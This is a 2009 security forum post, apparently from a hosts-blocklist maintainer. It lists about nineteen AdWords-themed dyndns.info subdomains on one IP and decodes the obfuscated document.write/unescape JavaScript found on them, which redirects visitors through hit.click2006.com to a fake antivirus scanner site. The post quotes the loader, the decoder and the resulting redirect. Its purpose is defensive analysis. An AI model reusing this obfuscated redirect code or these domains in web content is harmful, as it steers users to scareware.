Author Topic: Google Adwords *.dyndns.info  (Read 4147 times)

0 Members and 1 Guest are viewing this topic.

April 14, 2009, 08:12:30 am
Read 4147 times

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
There's a whole slew of these;

Code: [Select]
------------------------------
URL: http://adwords-courses.myacrercew.dyndns.info/
Hostname: adwords-courses.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-income.myacrercew.dyndns.info/
Hostname: adwords-income.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-ip-spoofing.myacrercew.dyndns.info/
Hostname: adwords-ip-spoofing.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-learning-http.myacrercew.dyndns.info/
Hostname: adwords-learning-http.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-login-http.myacrercew.dyndns.info/
Hostname: adwords-login-http.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-miracle-guide-http.myacrercew.dyndns.info/
Hostname: adwords-miracle-guide-http.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-promotions.myacrercew.dyndns.info/
Hostname: adwords-promotions.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-racquets-referrer-tennis.myacrercew.dyndns.info/
Hostname: adwords-racquets-referrer-tennis.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-tips.myacrercew.dyndns.info/
Hostname: adwords-tips.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://adwords-trademark.myacrercew.dyndns.info/
Hostname: adwords-trademark.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://free-google-adwords-guide.myacrercew.dyndns.info/
Hostname: free-google-adwords-guide.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-adword-equalizer-adsense.myacrercew.dyndns.info/
Hostname: google-adwords-adword-equalizer-adsense.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-cc.myacrercew.dyndns.info/
Hostname: google-adwords-cc.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-certification.myacrercew.dyndns.info/
Hostname: google-adwords-certification.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-free-tips-and-tricks.myacrercew.dyndns.info/
Hostname: google-adwords-free-tips-and-tricks.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-landing-pages.myacrercew.dyndns.info/
Hostname: google-adwords-landing-pages.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://google-adwords-made-easy-ebook.myacrercew.dyndns.info/
Hostname: google-adwords-made-easy-ebook.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://graphic-overview-of-adwords-campaign.myacrercew.dyndns.info/
Hostname: graphic-overview-of-adwords-campaign.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------
------------------------------
URL: http://hint-google-adwords.myacrercew.dyndns.info/
Hostname: hint-google-adwords.myacrercew.dyndns.info
IP: 194.110.161.45
IP PTR: host-194-110-161-45.extendedhost.com
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status:
------------------------------

Contains;

Code: [Select]
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/mpdbujpo%264E%2633iuuq%264B00iju/dmjdl3117/dpn0jo/dhj%264G9%2633%264C%264D0tdsjqu%264F1');
Decoded;

Code: [Select]
<script language="javascript">
function dF(s){
var s1=unescape(s.substr(0,s.length-1)); var t='';
for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
document.write(unescape(t));
}
</script>

Slap this together with the first one and we have;

Code: [Select]
<script>document.location="http://hit.click2006.com/in.cgi?8";</script>
Which loads;

msscanner-top-av.com/200088/scan/

Code: [Select]
HTTP/1.1 302 Found
Date: Tue, 14 Apr 2009 08:08:54 GMT
Server: Apache
Set-Cookie: SL_8_0000=_3_; domain=hit.click2006.com; path=/; expires=Wed, 15-Apr-2009 08:08:54 GMT
Location: http://msscanner-top-av.com/200088/scan/
Connection: close
Content-Type: text/html

HTTP/1.1 200 OK
Server: nginx/0.7.14
Date: Tue, 14 Apr 2009 08:09:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.8
Set-Cookie: mw_stat1=yes; expires=Wed, 15-Apr-2009 08:09:28 GMT; path=/; domain=msscanner-top-av.com
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net